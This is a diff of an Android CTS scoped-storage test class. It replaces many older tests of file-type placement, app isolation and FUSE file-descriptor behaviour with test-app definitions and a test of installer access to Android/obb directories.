-    private static final String OPSTR_MANAGE_EXTERNAL_STORAGE =
-            permissionToOp(Manifest.permission.MANAGE_EXTERNAL_STORAGE);
+    // The following apps are installed before the tests are run via a target_preparer.
+    // See test config for details.
+    // An app with READ_EXTERNAL_STORAGE permission
+    private static final TestApp APP_A_HAS_RES = new TestApp("TestAppA",
+            "android.scopedstorage.cts.testapp.A.withres", 1, false,
+            "CtsScopedStorageTestAppA.apk");
+    // An app with no permissions
+    private static final TestApp APP_B_NO_PERMS = new TestApp("TestAppB",
+            "android.scopedstorage.cts.testapp.B.noperms", 1, false,
+            "CtsScopedStorageTestAppB.apk");
+    // A legacy targeting app with RES and WES permissions
+    private static final TestApp APP_D_LEGACY_HAS_RW = new TestApp("TestAppDLegacy",
+            "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppCLegacy.apk");
 
     @Before
     public void setup() throws Exception {
-        // skips all test cases if FUSE is not active.
-        assumeTrue(getBoolean("persist.sys.fuse", false));
-
         if (!getContext().getPackageManager().isInstantApp()) {
             pollForExternalStorageState();
             getExternalFilesDir().mkdirs();
@@ -219,1423 +150,28 @@
     }
 
     /**
-     * Test that we enforce certain media types can only be created in certain directories.
+     * Test that Installer packages can access app's private directories in Android/obb
      */
     @Test
-    public void testTypePathConformity() throws Exception {
-        final File dcimDir = getDcimDir();
-        final File documentsDir = getDocumentsDir();
-        final File downloadDir = getDownloadDir();
-        final File moviesDir = getMoviesDir();
-        final File musicDir = getMusicDir();
-        final File picturesDir = getPicturesDir();
-        // Only audio files can be created in Music
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(musicDir, NONMEDIA_FILE_NAME).createNewFile(); });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(musicDir, VIDEO_FILE_NAME).createNewFile(); });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(musicDir, IMAGE_FILE_NAME).createNewFile(); });
-        // Only video files can be created in Movies
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(moviesDir, NONMEDIA_FILE_NAME).createNewFile(); });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(moviesDir, AUDIO_FILE_NAME).createNewFile(); });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(moviesDir, IMAGE_FILE_NAME).createNewFile(); });
-        // Only image and video files can be created in DCIM
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(dcimDir, NONMEDIA_FILE_NAME).createNewFile(); });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(dcimDir, AUDIO_FILE_NAME).createNewFile(); });
-        // Only image and video files can be created in Pictures
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(picturesDir, NONMEDIA_FILE_NAME).createNewFile(); });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(picturesDir, AUDIO_FILE_NAME).createNewFile(); });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(picturesDir, PLAYLIST_FILE_NAME).createNewFile(); });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(dcimDir, SUBTITLE_FILE_NAME).createNewFile(); });
-
-        assertCanCreateFile(new File(getAlarmsDir(), AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(getAudiobooksDir(), AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(dcimDir, IMAGE_FILE_NAME));
-        assertCanCreateFile(new File(dcimDir, VIDEO_FILE_NAME));
-        assertCanCreateFile(new File(documentsDir, AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(documentsDir, IMAGE_FILE_NAME));
-        assertCanCreateFile(new File(documentsDir, NONMEDIA_FILE_NAME));
-        assertCanCreateFile(new File(documentsDir, VIDEO_FILE_NAME));
-        assertCanCreateFile(new File(downloadDir, AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(downloadDir, IMAGE_FILE_NAME));
-        assertCanCreateFile(new File(downloadDir, NONMEDIA_FILE_NAME));
-        assertCanCreateFile(new File(downloadDir, VIDEO_FILE_NAME));
-        assertCanCreateFile(new File(moviesDir, VIDEO_FILE_NAME));
-        assertCanCreateFile(new File(moviesDir, SUBTITLE_FILE_NAME));
-        assertCanCreateFile(new File(musicDir, AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(musicDir, PLAYLIST_FILE_NAME));
-        assertCanCreateFile(new File(getNotificationsDir(), AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(picturesDir, IMAGE_FILE_NAME));
-        assertCanCreateFile(new File(picturesDir, VIDEO_FILE_NAME));
-        assertCanCreateFile(new File(getPodcastsDir(), AUDIO_FILE_NAME));
-        assertCanCreateFile(new File(getRingtonesDir(), AUDIO_FILE_NAME));
-
-        // No file whatsoever can be created in the top level directory
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(getExternalStorageDir(), NONMEDIA_FILE_NAME).createNewFile(); });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(getExternalStorageDir(), AUDIO_FILE_NAME).createNewFile(); });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(getExternalStorageDir(), IMAGE_FILE_NAME).createNewFile(); });
-        assertThrows(IOException.class, "Operation not permitted",
-                () -> { new File(getExternalStorageDir(), VIDEO_FILE_NAME).createNewFile(); });
-    }
-
-    /**
-     * Test that we can create a file in app's external files directory,
-     * and that we can write and read to/from the file.
-     */
-    @Test
-    public void testCreateFileInAppExternalDir() throws Exception {
-        final File file = new File(getExternalFilesDir(), "text.txt");
-        try {
-            assertThat(file.createNewFile()).isTrue();
-            assertThat(file.delete()).isTrue();
-            // Ensure the file is properly deleted and can be created again
-            assertThat(file.createNewFile()).isTrue();
-
-            // Write to file
-            try (final FileOutputStream fos = new FileOutputStream(file)) {
-                fos.write(BYTES_DATA1);
-            }
-
-            // Read the same data from file
-            assertFileContent(file, BYTES_DATA1);
-        } finally {
-            file.delete();
-        }
-    }
-
-    /**
-     * Test that we can't create a file in another app's external files directory,
-     * and that we'll get the same error regardless of whether the app exists or not.
-     */
-    @Test
-    public void testCreateFileInOtherAppExternalDir() throws Exception {
-        // Creating a file in a non existent package dir should return ENOENT, as expected
-        final File nonexistentPackageFileDir = new File(
-                getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
-        final File file1 = new File(nonexistentPackageFileDir, NONMEDIA_FILE_NAME);
-        assertThrows(
-                IOException.class, FILE_CREATION_ERROR_MESSAGE, () -> { file1.createNewFile(); });
-
-        // Creating a file in an existent package dir should give the same error string to avoid
-        // leaking installed app names, and we know the following directory exists because shell
-        // mkdirs it in test setup
-        final File shellPackageFileDir = new File(
-                getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
-        final File file2 = new File(shellPackageFileDir, NONMEDIA_FILE_NAME);
-        assertThrows(
-                IOException.class, FILE_CREATION_ERROR_MESSAGE, () -> { file1.createNewFile(); });
-    }
-
-    /**
-     * Test that apps can't read/write files in another app's external files directory,
-     * and can do so in their own app's external file directory.
-     */
-    @Test
-    public void testReadWriteFilesInOtherAppExternalDir() throws Exception {
-        final File videoFile = new File(getExternalFilesDir(), VIDEO_FILE_NAME);
-
-        try {
-            // Create a file in app's external files directory
-            if (!videoFile.exists()) {
-                assertThat(videoFile.createNewFile()).isTrue();
-            }
-
-            // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
-            installAppWithStoragePermissions(TEST_APP_A);
-
-            // TEST_APP_A should not be able to read/write to other app's external files directory.
-            assertThat(openFileAs(TEST_APP_A, videoFile.getPath(), false /* forWrite */)).isFalse();
-            assertThat(openFileAs(TEST_APP_A, videoFile.getPath(), true /* forWrite */)).isFalse();
-            // TEST_APP_A should not be able to delete files in other app's external files
-            // directory.
-            assertThat(deleteFileAs(TEST_APP_A, videoFile.getPath())).isFalse();
-
-            // Apps should have read/write access in their own app's external files directory.
-            assertThat(canOpen(videoFile, false /* forWrite */)).isTrue();
-            assertThat(canOpen(videoFile, true /* forWrite */)).isTrue();
-            // Apps should be able to delete files in their own app's external files directory.
-            assertThat(videoFile.delete()).isTrue();
-        } finally {
-            videoFile.delete();
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    /**
-     * Test that we can contribute media without any permissions.
-     */
-    @Test
-    public void testContributeMediaFile() throws Exception {
-        final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
-
-        try {
-            assertThat(imageFile.createNewFile()).isTrue();
-
-            // Ensure that the file was successfully added to the MediaProvider database
-            assertThat(getFileOwnerPackageFromDatabase(imageFile)).isEqualTo(THIS_PACKAGE_NAME);
-
-            // Try to write random data to the file
-            try (final FileOutputStream fos = new FileOutputStream(imageFile)) {
-                fos.write(BYTES_DATA1);
-                fos.write(BYTES_DATA2);
-            }
-
-            final byte[] expected = (STR_DATA1 + STR_DATA2).getBytes();
-            assertFileContent(imageFile, expected);
-
-            // Closing the file after writing will not trigger a MediaScan. Call scanFile to update
-            // file's entry in MediaProvider's database.
-            assertThat(MediaStore.scanFile(getContentResolver(), imageFile)).isNotNull();
-
-            // Ensure that the scan was completed and the file's size was updated.
-            assertThat(getFileSizeFromDatabase(imageFile)).isEqualTo(
-                    BYTES_DATA1.length + BYTES_DATA2.length);
-        } finally {
-            imageFile.delete();
-        }
-        // Ensure that delete makes a call to MediaProvider to remove the file from its database.
-        assertThat(getFileRowIdFromDatabase(imageFile)).isEqualTo(-1);
-    }
-
-    @Test
-    public void testCreateAndDeleteEmptyDir() throws Exception {
-        final File externalFilesDir = getExternalFilesDir();
-        // Remove directory in order to create it again
-        externalFilesDir.delete();
-
-        // Can create own external files dir
-        assertThat(externalFilesDir.mkdir()).isTrue();
-
-        final File dir1 = new File(externalFilesDir, "random_dir");
-        // Can create dirs inside it
-        assertThat(dir1.mkdir()).isTrue();
-
-        final File dir2 = new File(dir1, "random_dir_inside_random_dir");
-        // And create a dir inside the new dir
-        assertThat(dir2.mkdir()).isTrue();
-
-        // And can delete them all
-        assertThat(dir2.delete()).isTrue();
-        assertThat(dir1.delete()).isTrue();
-        assertThat(externalFilesDir.delete()).isTrue();
-
-        // Can't create external dir for other apps
-        final File nonexistentPackageFileDir = new File(
-                externalFilesDir.getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
-        final File shellPackageFileDir = new File(
-                externalFilesDir.getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
-
-        assertThat(nonexistentPackageFileDir.mkdir()).isFalse();
-        assertThat(shellPackageFileDir.mkdir()).isFalse();
-    }
-
-    @Test
-    public void testCantAccessOtherAppsContents() throws Exception {
-        final File mediaFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
-        final File nonMediaFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
-        try {
-            installApp(TEST_APP_A);
-
-            assertThat(createFileAs(TEST_APP_A, mediaFile.getPath())).isTrue();
-            assertThat(createFileAs(TEST_APP_A, nonMediaFile.getPath())).isTrue();
-
-            // We can still see that the files exist
-            assertThat(mediaFile.exists()).isTrue();
-            assertThat(nonMediaFile.exists()).isTrue();
-
-            // But we can't access their content
-            assertThat(canOpen(mediaFile, /* forWrite */ false)).isFalse();
-            assertThat(canOpen(nonMediaFile, /* forWrite */ true)).isFalse();
-            assertThat(canOpen(mediaFile, /* forWrite */ false)).isFalse();
-            assertThat(canOpen(nonMediaFile, /* forWrite */ true)).isFalse();
-        } finally {
-            deleteFileAsNoThrow(TEST_APP_A, nonMediaFile.getPath());
-            deleteFileAsNoThrow(TEST_APP_A, mediaFile.getPath());
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    @Test
-    public void testCantDeleteOtherAppsContents() throws Exception {
-        final File dirInDownload = new File(getDownloadDir(), TEST_DIRECTORY_NAME);
-        final File mediaFile = new File(dirInDownload, IMAGE_FILE_NAME);
-        final File nonMediaFile = new File(dirInDownload, NONMEDIA_FILE_NAME);
-        try {
-            installApp(TEST_APP_A);
-            assertThat(dirInDownload.mkdir()).isTrue();
-            // Have another app create a media file in the directory
-            assertThat(createFileAs(TEST_APP_A, mediaFile.getPath())).isTrue();
-
-            // Can't delete the directory since it contains another app's content
-            assertThat(dirInDownload.delete()).isFalse();
-            // Can't delete another app's content
-            assertThat(deleteRecursively(dirInDownload)).isFalse();
-
-            // Have another app create a non-media file in the directory
-            assertThat(createFileAs(TEST_APP_A, nonMediaFile.getPath())).isTrue();
-
-            // Can't delete the directory since it contains another app's content
-            assertThat(dirInDownload.delete()).isFalse();
-            // Can't delete another app's content
-            assertThat(deleteRecursively(dirInDownload)).isFalse();
-
-            // Delete only the media file and keep the non-media file
-            assertThat(deleteFileAs(TEST_APP_A, mediaFile.getPath())).isTrue();
-            // Directory now has only the non-media file contributed by another app, so we still
-            // can't delete it nor its content
-            assertThat(dirInDownload.delete()).isFalse();
-            assertThat(deleteRecursively(dirInDownload)).isFalse();
-
-            // Delete the last file belonging to another app
-            assertThat(deleteFileAs(TEST_APP_A, nonMediaFile.getPath())).isTrue();
-            // Create our own file
-            assertThat(nonMediaFile.createNewFile()).isTrue();
-
-            // Now that the directory only has content that was contributed by us, we can delete it
-            assertThat(deleteRecursively(dirInDownload)).isTrue();
-        } finally {
-            deleteFileAsNoThrow(TEST_APP_A, nonMediaFile.getPath());
-            deleteFileAsNoThrow(TEST_APP_A, mediaFile.getPath());
-            // At this point, we're not sure who created this file, so we'll have both apps
-            // deleting it
-            mediaFile.delete();
-            uninstallAppNoThrow(TEST_APP_A);
-            dirInDownload.delete();
-        }
-    }
-
-    /**
-     * Test that deleting uri corresponding to a file which was already deleted via filePath
-     * doesn't result in a security exception.
-     */
-    @Test
-    public void testDeleteAlreadyUnlinkedFile() throws Exception {
-        final File nonMediaFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
-        try {
-            assertTrue(nonMediaFile.createNewFile());
-            final Uri uri = MediaStore.scanFile(getContentResolver(), nonMediaFile);
-            assertNotNull(uri);
-
-            // Delete the file via filePath
-            assertTrue(nonMediaFile.delete());
-
-            // If we delete nonMediaFile with ContentResolver#delete, it shouldn't result in a
-            // security exception.
-            assertThat(getContentResolver().delete(uri, Bundle.EMPTY)).isEqualTo(0);
-        } finally {
-            nonMediaFile.delete();
-        }
-    }
-
-    /**
-     * This test relies on the fact that {@link File#list} uses opendir internally, and that it
-     * returns {@code null} if opendir fails.
-     */
-    @Test
-    public void testOpendirRestrictions() throws Exception {
-        // Opening a non existent package directory should fail, as expected
-        final File nonexistentPackageFileDir = new File(
-                getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
-        assertThat(nonexistentPackageFileDir.list()).isNull();
-
-        // Opening another package's external directory should fail as well, even if it exists
-        final File shellPackageFileDir = new File(
-                getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
-        assertThat(shellPackageFileDir.list()).isNull();
-
-        // We can open our own external files directory
-        final String[] filesList = getExternalFilesDir().list();
-        assertThat(filesList).isNotNull();
-
-        // We can open any public directory in external storage
-        assertThat(getDcimDir().list()).isNotNull();
-        assertThat(getDownloadDir().list()).isNotNull();
-        assertThat(getMoviesDir().list()).isNotNull();
-        assertThat(getMusicDir().list()).isNotNull();
-
-        // We can open the root directory of external storage
-        final String[] topLevelDirs = getExternalStorageDir().list();
-        assertThat(topLevelDirs).isNotNull();
-        // TODO(b/145287327): This check fails on a device with no visible files.
-        // This can be fixed if we display default directories.
-        // assertThat(topLevelDirs).isNotEmpty();
-    }
-
-    @Test
-    public void testLowLevelFileIO() throws Exception {
-        String filePath = new File(getDownloadDir(), NONMEDIA_FILE_NAME).toString();
-        try {
-            int createFlags = O_CREAT | O_RDWR;
-            int createExclFlags = createFlags | O_EXCL;
-
-            FileDescriptor fd = Os.open(filePath, createExclFlags, S_IRWXU);
-            Os.close(fd);
-            assertThrows(
-                    ErrnoException.class, () -> { Os.open(filePath, createExclFlags, S_IRWXU); });
-
-            fd = Os.open(filePath, createFlags, S_IRWXU);
+    public void testCheckInstallerAppAccessToObbDirs() throws Exception {
+        File[] obbDirs = getContext().getObbDirs();
+        for (File obbDir : obbDirs) {
+            final File otherAppExternalObbDir = new File(obbDir.getPath().replace(
+                    THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
+            final File file = new File(otherAppExternalObbDir, NONMEDIA_FILE_NAME);
             try {
-                assertThat(Os.write(fd, ByteBuffer.wrap(BYTES_DATA1))).isEqualTo(BYTES_DATA1.length);
-                assertFileContent(fd, BYTES_DATA1);
+                assertThat(file.exists()).isFalse();
+
+                assertThat(createFileAs(APP_B_NO_PERMS, file.getPath())).isTrue();
+                assertFileAccess_readWrite(file);
+
+                assertThat(file.delete()).isTrue();
+                assertThat(file.exists()).isFalse();
+                assertThat(file.createNewFile()).isTrue();
+                assertThat(file.exists()).isTrue();
             } finally {
-                Os.close(fd);
+                deleteFileAsNoThrow(APP_B_NO_PERMS, file.getAbsolutePath());
             }
-            // should just append the data
-            fd = Os.open(filePath, createFlags | O_APPEND, S_IRWXU);
-            try {
-                assertThat(Os.write(fd, ByteBuffer.wrap(BYTES_DATA2))).isEqualTo(BYTES_DATA2.length);
-                final byte[] expected = (STR_DATA1 + STR_DATA2).getBytes();
-                assertFileContent(fd, expected);
-            } finally {
-                Os.close(fd);
-            }
-            // should overwrite everything
-            fd = Os.open(filePath, createFlags | O_TRUNC, S_IRWXU);
-            try {
-                final byte[] otherData = "this is different data".getBytes();
-                assertThat(Os.write(fd, ByteBuffer.wrap(otherData))).isEqualTo(otherData.length);
-                assertFileContent(fd, otherData);
-            } finally {
-                Os.close(fd);
-            }
-        } finally {
-            new File(filePath).delete();
-        }
-    }
-
-    /**
-     * Test that media files from other packages are only visible to apps with storage permission.
-     */
-    @Test
-    public void testListDirectoriesWithMediaFiles() throws Exception {
-        final File dcimDir = getDcimDir();
-        final File dir = new File(dcimDir, TEST_DIRECTORY_NAME);
-        final File videoFile = new File(dir, VIDEO_FILE_NAME);
-        final String videoFileName = videoFile.getName();
-        try {
-            if (!dir.exists()) {
-                assertThat(dir.mkdir()).isTrue();
-            }
-
-            // Install TEST_APP_A and create media file in the new directory.
-            installApp(TEST_APP_A);
-            assertThat(createFileAs(TEST_APP_A, videoFile.getPath())).isTrue();
-            // TEST_APP_A should see TEST_DIRECTORY in DCIM and new file in TEST_DIRECTORY.
-            assertThat(listAs(TEST_APP_A, dcimDir.getPath())).contains(TEST_DIRECTORY_NAME);
-            assertThat(listAs(TEST_APP_A, dir.getPath())).containsExactly(videoFileName);
-
-            // Install TEST_APP_B with storage permission.
-            installAppWithStoragePermissions(TEST_APP_B);
-            // TEST_APP_B with storage permission should see TEST_DIRECTORY in DCIM and new file
-            // in TEST_DIRECTORY.
-            assertThat(listAs(TEST_APP_B, dcimDir.getPath())).contains(TEST_DIRECTORY_NAME);
-            assertThat(listAs(TEST_APP_B, dir.getPath())).containsExactly(videoFileName);
-
-            // Revoke storage permission for TEST_APP_B
-            revokePermission(
-                    TEST_APP_B.getPackageName(), Manifest.permission.READ_EXTERNAL_STORAGE);
-            // TEST_APP_B without storage permission should see TEST_DIRECTORY in DCIM and should
-            // not see new file in new TEST_DIRECTORY.
-            assertThat(listAs(TEST_APP_B, dcimDir.getPath())).contains(TEST_DIRECTORY_NAME);
-            assertThat(listAs(TEST_APP_B, dir.getPath())).doesNotContain(videoFileName);
-        } finally {
-            uninstallAppNoThrow(TEST_APP_B);
-            deleteFileAsNoThrow(TEST_APP_A, videoFile.getPath());
-            dir.delete();
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    /**
-     * Test that app can't see non-media files created by other packages
-     */
-    @Test
-    public void testListDirectoriesWithNonMediaFiles() throws Exception {
-        final File downloadDir = getDownloadDir();
-        final File dir = new File(downloadDir, TEST_DIRECTORY_NAME);
-        final File pdfFile = new File(dir, NONMEDIA_FILE_NAME);
-        final String pdfFileName = pdfFile.getName();
-        try {
-            if (!dir.exists()) {
-                assertThat(dir.mkdir()).isTrue();
-            }
-
-            // Install TEST_APP_A and create non media file in the new directory.
-            installApp(TEST_APP_A);
-            assertThat(createFileAs(TEST_APP_A, pdfFile.getPath())).isTrue();
-
-            // TEST_APP_A should see TEST_DIRECTORY in downloadDir and new non media file in
-            // TEST_DIRECTORY.
-            assertThat(listAs(TEST_APP_A, downloadDir.getPath())).contains(TEST_DIRECTORY_NAME);
-            assertThat(listAs(TEST_APP_A, dir.getPath())).containsExactly(pdfFileName);
-
-            // Install TEST_APP_B with storage permission.
-            installAppWithStoragePermissions(TEST_APP_B);
-            // TEST_APP_B with storage permission should see TEST_DIRECTORY in downloadDir
-            // and should not see new non media file in TEST_DIRECTORY.
-            assertThat(listAs(TEST_APP_B, downloadDir.getPath())).contains(TEST_DIRECTORY_NAME);
-            assertThat(listAs(TEST_APP_B, dir.getPath())).doesNotContain(pdfFileName);
-        } finally {
-            uninstallAppNoThrow(TEST_APP_B);
-            deleteFileAsNoThrow(TEST_APP_A, pdfFile.getPath());
-            dir.delete();
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    /**
-     * Test that app can only see its directory in Android/data.
-     */
-    @Test
-    public void testListFilesFromExternalFilesDirectory() throws Exception {
-        final String packageName = THIS_PACKAGE_NAME;
-        final File nonmediaFile = new File(getExternalFilesDir(), NONMEDIA_FILE_NAME);
-
-        try {
-            // Create a file in app's external files directory
-            if (!nonmediaFile.exists()) {
-                assertThat(nonmediaFile.createNewFile()).isTrue();
-            }
-            // App should see its directory and directories of shared packages. App should see all
-            // files and directories in its external directory.
-            assertDirectoryContains(nonmediaFile.getParentFile(), nonmediaFile);
-
-            // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
-            // TEST_APP_A should not see other app's external files directory.
-            installAppWithStoragePermissions(TEST_APP_A);
-
-            assertThrows(IOException.class,
-                    () -> listAs(TEST_APP_A, getAndroidDataDir().getPath()));
-            assertThrows(IOException.class,
-                    () -> listAs(TEST_APP_A, getExternalFilesDir().getPath()));
-        } finally {
-            nonmediaFile.delete();
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    /**
-     * Test that app can see files and directories in Android/media.
-     */
-    @Test
-    public void testListFilesFromExternalMediaDirectory() throws Exception {
-        final File videoFile = new File(getExternalMediaDir(), VIDEO_FILE_NAME);
-
-        try {
-            // Create a file in app's external media directory
-            if (!videoFile.exists()) {
-                assertThat(videoFile.createNewFile()).isTrue();
-            }
-
-            // App should see its directory and other app's external media directories with media
-            // files.
-            assertDirectoryContains(videoFile.getParentFile(), videoFile);
-
-            // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
-            // TEST_APP_A with storage permission should see other app's external media directory.
-            installAppWithStoragePermissions(TEST_APP_A);
-            // Apps with READ_EXTERNAL_STORAGE can list files in other app's external media
-            // directory.
-            assertThat(listAs(TEST_APP_A, getAndroidMediaDir().getPath()))
-                    .contains(THIS_PACKAGE_NAME);
-            assertThat(listAs(TEST_APP_A, getExternalMediaDir().getPath()))
-                    .containsExactly(videoFile.getName());
-        } finally {
-            videoFile.delete();
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    /**
-     * Test that readdir lists unsupported file types in default directories.
-     */
-    @Test
-    public void testListUnsupportedFileType() throws Exception {
-        final File pdfFile = new File(getDcimDir(), NONMEDIA_FILE_NAME);
-        final File videoFile = new File(getMusicDir(), VIDEO_FILE_NAME);
-        try {
-            // TEST_APP_A with storage permission should not see pdf file in DCIM
-            createFileUsingTradefedContentProvider(pdfFile);
-            assertThat(pdfFile.exists()).isTrue();
-            assertThat(MediaStore.scanFile(getContentResolver(), pdfFile)).isNotNull();
-
-            installAppWithStoragePermissions(TEST_APP_A);
-            assertThat(listAs(TEST_APP_A, getDcimDir().getPath()))
-                    .doesNotContain(NONMEDIA_FILE_NAME);
-
-            createFileUsingTradefedContentProvider(videoFile);
-            // We don't insert files to db for files created by shell.
-            assertThat(MediaStore.scanFile(getContentResolver(), videoFile)).isNotNull();
-            // TEST_APP_A with storage permission should see video file in Music directory.
-            assertThat(listAs(TEST_APP_A, getMusicDir().getPath())).contains(VIDEO_FILE_NAME);
-        } finally {
-            deleteFileUsingTradefedContentProvider(pdfFile);
-            deleteFileUsingTradefedContentProvider(videoFile);
-            MediaStore.scanFile(getContentResolver(), pdfFile);
-            MediaStore.scanFile(getContentResolver(), videoFile);
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    @Test
-    public void testMetaDataRedaction() throws Exception {
-        File jpgFile = new File(getPicturesDir(), "img_metadata.jpg");
-        try {
-            if (jpgFile.exists()) {
-                assertThat(jpgFile.delete()).isTrue();
-            }
-
-            HashMap<String, String> originalExif =
-                    getExifMetadataFromRawResource(R.raw.img_with_metadata);
-
-            try (InputStream in =
-                            getContext().getResources().openRawResource(R.raw.img_with_metadata);
-                    OutputStream out = new FileOutputStream(jpgFile)) {
-                // Dump the image we have to external storage
-                FileUtils.copy(in, out);
-            }
-
-            HashMap<String, String> exif = getExifMetadata(jpgFile);
-            assertExifMetadataMatch(exif, originalExif);
-
-            installAppWithStoragePermissions(TEST_APP_A);
-            HashMap<String, String> exifFromTestApp =
-                    readExifMetadataFromTestApp(TEST_APP_A, jpgFile.getPath());
-            // Other apps shouldn't have access to the same metadata without explicit permission
-            assertExifMetadataMismatch(exifFromTestApp, originalExif);
-
-            // TODO(b/146346138): Test that if we give TEST_APP_A write URI permission,
-            //  it would be able to access the metadata.
-        } finally {
-            jpgFile.delete();
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    @Test
-    public void testOpenFilePathFirstWriteContentResolver() throws Exception {
-        String displayName = "open_file_path_write_content_resolver.jpg";
-        File file = new File(getDcimDir(), displayName);
-
-        try {
-            assertThat(file.createNewFile()).isTrue();
-
-            ParcelFileDescriptor readPfd =
-                    ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_WRITE);
-            ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
-
-            assertRWR(readPfd, writePfd);
-            assertUpperFsFd(writePfd); // With cache
-        } finally {
-            file.delete();
-        }
-    }
-
-    @Test
-    public void testOpenContentResolverFirstWriteContentResolver() throws Exception {
-        String displayName = "open_content_resolver_write_content_resolver.jpg";
-        File file = new File(getDcimDir(), displayName);
-
-        try {
-            assertThat(file.createNewFile()).isTrue();
-
-            ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
-            ParcelFileDescriptor readPfd =
-                    ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_WRITE);
-
-            assertRWR(readPfd, writePfd);
-            assertLowerFsFd(writePfd);
-        } finally {
-            file.delete();
-        }
-    }
-
-    @Test
-    public void testOpenFilePathFirstWriteFilePath() throws Exception {
-        String displayName = "open_file_path_write_file_path.jpg";
-        File file = new File(getDcimDir(), displayName);
-
-        try {
-            assertThat(file.createNewFile()).isTrue();
-
-            ParcelFileDescriptor writePfd =
-                    ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_WRITE);
-            ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw");
-
-            assertRWR(readPfd, writePfd);
-            assertUpperFsFd(readPfd); // With cache
-        } finally {
-            file.delete();
-        }
-    }
-
-    @Test
-    public void testOpenContentResolverFirstWriteFilePath() throws Exception {
-        String displayName = "open_content_resolver_write_file_path.jpg";
-        File file = new File(getDcimDir(), displayName);
-
-        try {
-            assertThat(file.createNewFile()).isTrue();
-
-            ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw");
-            ParcelFileDescriptor writePfd =
-                    ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_WRITE);
-
-            assertRWR(readPfd, writePfd);
-            assertLowerFsFd(readPfd);
-        } finally {
-            file.delete();
-        }
-    }
-
-    @Test
-    public void testOpenContentResolverWriteOnly() throws Exception {
-        String displayName = "open_content_resolver_write_only.jpg";
-        File file = new File(getDcimDir(), displayName);
-
-        try {
-            assertThat(file.createNewFile()).isTrue();
-
-            // We upgrade 'w' only to 'rw'
-            ParcelFileDescriptor writePfd = openWithMediaProvider(file, "w");
-            ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw");
-
-            assertRWR(readPfd, writePfd);
-            assertRWR(writePfd, readPfd); // Can read on 'w' only pfd
-            assertLowerFsFd(writePfd);
-            assertLowerFsFd(readPfd);
-        } finally {
-            file.delete();
-        }
-    }
-
-    @Test
-    public void testOpenContentResolverDup() throws Exception {
-        String displayName = "open_content_resolver_dup.jpg";
-        File file = new File(getDcimDir(), displayName);
-
-        try {
-            file.delete();
-            assertThat(file.createNewFile()).isTrue();
-
-            // Even if we close the original fd, since we have a dup open
-            // the FUSE IO should still bypass the cache
-            try (ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw")) {
-                try (ParcelFileDescriptor writePfdDup = writePfd.dup();
-                        ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(
-                                file, ParcelFileDescriptor.MODE_READ_WRITE)) {
-                    writePfd.close();
-
-                    assertRWR(readPfd, writePfdDup);
-                    assertLowerFsFd(writePfdDup);
-                }
-            }
-        } finally {
-            file.delete();
-        }
-    }
-
-    @Test
-    public void testOpenContentResolverClose() throws Exception {
-        String displayName = "open_content_resolver_close.jpg";
-        File file = new File(getDcimDir(), displayName);
-
-        try {
-            byte[] readBuffer = new byte[10];
-            byte[] writeBuffer = new byte[10];
-            Arrays.fill(writeBuffer, (byte) 1);
-
-            assertThat(file.createNewFile()).isTrue();
-
-            // Lower fs open and write
-            ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
-            Os.pwrite(writePfd.getFileDescriptor(), writeBuffer, 0, 10, 0);
-
-            // Close so upper fs open will not use direct_io
-            writePfd.close();
-
